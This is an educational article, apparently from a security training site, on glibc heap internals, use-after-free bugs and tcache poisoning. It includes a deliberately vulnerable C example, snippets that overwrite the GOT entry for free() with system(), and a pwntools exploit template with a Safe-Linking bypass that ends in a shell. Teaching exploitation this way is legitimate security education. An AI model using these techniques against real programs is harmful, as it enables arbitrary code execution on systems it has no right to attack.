Advanced

Beyond the Stack: Heap Exploitation and Use-After-Free Vulnerabilities

A technical deep dive into glibc heap internals, tcache poisoning, and Use-After-Free exploitation. Learn how dangling pointers corrupt allocator metadata and lead to arbitrary write primitives.

Stack exploitation has a clean geometry: overwrite in one direction, reach the return address, redirect execution. The techniques are well-understood, the mitigations are consistent, and the mental model maps neatly to the hardware.

Heap exploitation is different in almost every respect. The heap is managed by software β€” specifically, glibc’s malloc implementation on Linux β€” rather than the CPU. Its layout at any moment depends on the allocation and deallocation history of the program, which varies with runtime inputs. Bugs in heap code don’t usually give you a linear write toward a return address. They give you corrupted allocator metadata, which you then leverage to make malloc return a pointer to wherever you want.

This article covers the glibc heap’s internal structure, the tcache, Use-After-Free vulnerabilities, and the tcache poisoning technique. The final section covers glibc’s mitigations and what bypassing them requires.

Prior context: If you’re coming from the stack overflow and ASLR bypass articles, the GOT/PLT mechanics are assumed knowledge. If not: the GOT is a table of resolved runtime addresses for library functions, stored at a fixed location in non-PIE binaries. Overwriting a GOT entry redirects any call to that function.


How glibc Manages Heap Memory

When your program calls malloc(32), glibc doesn’t ask the OS for exactly 32 bytes. It manages a large region of memory (obtained via brk or mmap) and sub-divides it internally. The unit of management is a chunk.

Chunk Layout

Every chunk has a header immediately before the user data pointer:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” ← previous chunk's user data ends here
β”‚ prev_size (8 bytes) β”‚ ← only valid if previous chunk is free
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ size (8 bytes) β”‚ ← chunk size + 3 flag bits
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ ← malloc() returns this address
β”‚ user data (requested bytes) β”‚
β”‚ (padded to 16-byte alignment) β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The effective overhead per allocated chunk is 8 bytes β€” the size field. The prev_size field belongs to this chunk’s memory but is only written by the previous chunk when that chunk is freed. A live chunk’s prev_size area is legally usable by the previous chunk as overflow space, which is how glibc avoids wasting it.

The lowest three bits of size are flag bits (the chunk size is always 16-byte aligned, so those bits would otherwise be zero):

  • P (PREV_INUSE): The physically adjacent previous chunk is allocated
  • M (IS_MMAPPED): This chunk was allocated via mmap directly
  • A (NON_MAIN_ARENA): This chunk belongs to a thread arena, not the main arena

A malloc(32) call on a 64-bit system produces a chunk of size 0x20 (32 bytes user data, already 16-byte aligned) with P=1 if the previous chunk is live. The size field written to memory: 0x20 | 0x1 = 0x21.

When a Chunk Is Freed

Calling free(ptr) does not zero the memory and does not (in most cases) return it to the OS. The chunk is placed into a free list β€” a recycling bin β€” so a subsequent malloc of the same size can reuse it without a kernel call.

When a chunk enters a free list, glibc writes pointers into what was the user data area:

struct malloc_chunk {
size_t prev_size;
size_t size;
struct malloc_chunk *fd; /* forward pointer β€” next free chunk */
struct malloc_chunk *bk; /* backward pointer β€” previous free chunk */
/* large chunks also have fd_nextsize, bk_nextsize */
};

These pointers only exist in freed chunks. In allocated chunks, that space belongs entirely to user data. This dual-use of memory is central to heap exploitation: if you can write into a freed chunk’s data area, you’re overwriting allocator metadata.


The Tcache

Modern glibc (2.26+) uses the tcache (thread-local cache) as the primary free list. Each thread maintains its own array of 64 singly-linked lists, one per size class (16 to 1032 bytes in 16-byte steps). A freed chunk goes to the tcache bin for its size class.

Key properties:

  • Per-thread: No locking needed for tcache access β€” fast
  • LIFO: The most recently freed chunk is returned first
  • Capacity: Each bin holds a maximum of 7 chunks. An 8th free of the same size goes to the next bin tier (fastbins or unsorted bin)
  • Single-linked: Tcache uses only fd (forward pointer); no bk

The tcache forward pointer is stored at the start of the freed chunk’s user data region:

Tcache head β†’ [chunk B] β†’ [chunk A] β†’ NULL
fd=&A fd=NULL

When malloc(32) is called and a matching tcache bin is non-empty, the allocator takes the head chunk, updates the head to head->fd, and returns the chunk. No searching, no coalescing, no locking. This is why tcache exists β€” it’s a pure speed optimization.


Use-After-Free Vulnerabilities

A Use-After-Free (UAF) occurs when a program continues using a pointer after the memory it references has been freed. The freed chunk is now owned by the allocator, but the program’s pointer still points to it. Any write through that pointer corrupts allocator metadata.

The canonical example:

uaf_demo.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct User {
char name[24];
int is_admin;
};
int main(void) {
struct User *u = malloc(sizeof(struct User));
strncpy(u->name, "alice", sizeof(u->name));
u->is_admin = 0;
free(u);
/* u is now a dangling pointer.
* The chunk is in the tcache. Its first 8 bytes now hold the fd pointer.
* The correct fix: u = NULL; immediately after free(). */
/* UAF write: this overwrites the tcache fd pointer */
strncpy(u->name, "AAAAAAAA", 8);
return 0;
}

After free(u), the first 8 bytes of u->name hold the tcache fd pointer β€” the address of the next free chunk of the same size. Writing β€œAAAAAAAA” there corrupts that pointer. The allocator’s free list now contains a garbage address. The next malloc call for that size will return the corrupted chunk; the one after that will return whatever address was written.


Tcache Poisoning

Tcache poisoning weaponizes a UAF (or heap buffer overflow) to inject an arbitrary address into the tcache’s free list. The goal: make malloc return a pointer to a location you control β€” such as a GOT entry.

Setup

void *A = malloc(32); /* chunk A */
void *B = malloc(32); /* chunk B */
free(A);
free(B);
/* Tcache (32-byte bin): head β†’ B β†’ A β†’ NULL */

The Poison Write

Using a UAF on chunk B (which is now in the tcache), overwrite its fd pointer with the target address:

/* UAF: write the address of free@got into B's fd field */
*(uint64_t *)B = got_free_addr; /* e.g. 0x601018 */
/* Tcache: head β†’ B β†’ 0x601018 β†’ ??? */

Trigger

void *C = malloc(32); /* returns B β€” tcache head now points to 0x601018 */
void *D = malloc(32); /* returns 0x601018 β€” a pointer into the GOT */

D now points to the GOT entry for free(). A write to D overwrites that entry:

*(uint64_t *)D = system_addr;
/* GOT entry for free() now contains the address of system() */

From this point, any call to free(ptr) in the program invokes system(ptr). If the program subsequently calls free(user_controlled_string) where the string is /bin/sh, you get a shell.

That last condition β€” the program calling free() with attacker-controlled data β€” is program-specific. In practice, targets are chosen or triggered specifically because that condition can be arranged. A more general approach is overwriting __free_hook (discussed below) or targeting a function pointer elsewhere in the program’s data.

Tcache Key: Double-Free Detection (glibc β‰₯ 2.29)

glibc 2.29 added a key field to tcache entries. When a chunk is freed into the tcache, glibc writes a thread-specific value into the chunk’s bk field (the second 8 bytes of user data). On a subsequent free() of the same pointer, glibc checks whether that key is present β€” if it is, the chunk is already in the tcache, and free() aborts.

This blocks trivial double-free: freeing the same pointer twice in succession. It doesn’t prevent UAF if the write comes from a different pointer to the same memory (aliasing), or if the key is overwritten before the second free. Bypassing it requires either preserving the key value in your write, or using a technique that doesn’t trigger the check.

Safe-Linking (glibc β‰₯ 2.32)

glibc 2.32 introduced Safe-Linking, which obfuscates tcache fd pointers:

Stored=TargetβŠ•(StorageΒ Address4096)\text{Stored} = \text{Target} \oplus \left(\frac{\text{Storage Address}}{4096}\right)

More precisely, the fd field stores: target_addr XOR (address_of_fd_field >> 12). The right-shift by 12 strips the page offset, leaving a value derived from the allocation address. When the allocator reads the fd pointer, it reverses the XOR to recover the real target.

For an attacker to poison the fd field, they need to know the address of the chunk whose fd they’re overwriting (to compute the correct XOR key). This requires a heap address leak β€” a separate primitive that reads a heap pointer at a known offset. ASLR randomizes heap base addresses the same way it randomizes library bases, so without a leak the XOR key is unknown.

The bypass pattern: obtain a heap leak (e.g., reading a freed chunk’s fd field through a UAF read), compute the key, XOR your target address with the key, write the result as the forged fd.


Historical Target: __malloc_hook and __free_hook

Before glibc 2.34, the library exposed global function pointers __malloc_hook and __free_hook in a writable data segment. If non-null, malloc and free called these pointers instead of their normal implementations.

These were prime tcache poisoning targets: overwrite the tcache to get a malloc return pointing at __malloc_hook, write system’s address there, trigger any malloc call. Simpler than GOT overwriting because the hook addresses were in a predictable location in the libc data segment.

glibc 2.34 (released 2021) removed both hooks. Exploits targeting binaries built against glibc β‰₯ 2.34 need different targets β€” _IO_file structures, exit handlers, or program-specific function pointers.


Heap Layout Control: Grooming

Heap exploitation rarely works on the first attempt without controlling the heap’s state. Heap grooming (also called heap feng shui) refers to making allocations and frees in a specific sequence to arrange chunks in a predictable layout before triggering the vulnerability.

For example: if your target chunk needs to be adjacent to a specific object for an overflow to reach it, you allocate several padding chunks first to push the allocator into the right position. The exact sequence depends on the allocator’s bin selection logic β€” which requires understanding tcache capacity limits, fastbins, and the unsorted bin.


Debugging Heap Exploits

The most useful tool for heap debugging is pwndbg (a GDB plugin):

Terminal window
# Show all heap chunks with their sizes and status
heap
# Show all free bins (tcache, fastbins, unsorted, small, large)
bins
# Visual heap inspection β€” color-coded allocated/freed chunks
vis_heap_chunks
# Show tcache contents for all size classes
tcache

A typical workflow: set a breakpoint after the UAF write, run vis_heap_chunks to confirm the fd pointer was overwritten correctly, then step forward through malloc calls to watch the poisoned address propagate to the return value.

For writing the exploit:

heap_exploit_template.py
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('./vuln')
def alloc(size, data=b''):
# interact with the target program's allocation interface
...
def free_chunk(idx):
...
def write_chunk(idx, data):
...
# Stage 1: Heap leak (read a freed chunk's fd pointer through UAF read)
alloc(32) # idx 0
alloc(32) # idx 1 β€” barrier chunk, prevents consolidation with top
free_chunk(0)
heap_leak = read_chunk(0)[:8] # UAF read of fd pointer
heap_base = u64(heap_leak.ljust(8, b'\x00'))
log.info(f"Heap leak: {hex(heap_base)}")
# Stage 2: Compute Safe-Linking key and forge fd pointer
key = heap_base >> 12
target = elf.got['free'] # or any writable target
forged_fd = target ^ key
# Stage 3: Poison tcache
free_chunk(1)
write_chunk(1, p64(forged_fd)) # UAF write β€” overwrites fd
# Stage 4: Consume chunks to reach poisoned address
alloc(32) # returns chunk 1
alloc(32) # returns &got['free'] β€” write here to redirect free()
write_chunk(2, p64(libc.symbols['system']))
# Now: free(ptr) == system(ptr)
io.interactive()

Mitigation Landscape

MitigationVersionWhat It BlocksBypass Requirement
Tcache double-free keyglibc 2.29Identical pointer freed twiceAliased pointer or key preservation
Safe-Linkingglibc 2.32Blind fd overwriteHeap address leak
__malloc_hook / __free_hook removalglibc 2.34Hook overwrite targetAlternative writable function pointer
Full RELROlinker flagGOT overwriteRead-only GOT; need other target
ASLR (heap)kernelFixed heap addressesHeap pointer leak

No single mitigation stops a determined attacker with the right primitives. What they collectively require is: a read primitive (for leaks), a write primitive (for the overwrite), and enough understanding of the allocator’s state to predict what malloc will return. The difficulty of heap exploitation comes from satisfying all three conditions simultaneously against a hardened target.

The reference resource for going deeper: how2heap β€” a repository of working proof-of-concept exploits for every major heap technique, organized by glibc version.

V

Author

Varkin Academy

Tags

#cyber security #exploit #c #memory corruption #heap #UAF #tcache #glibc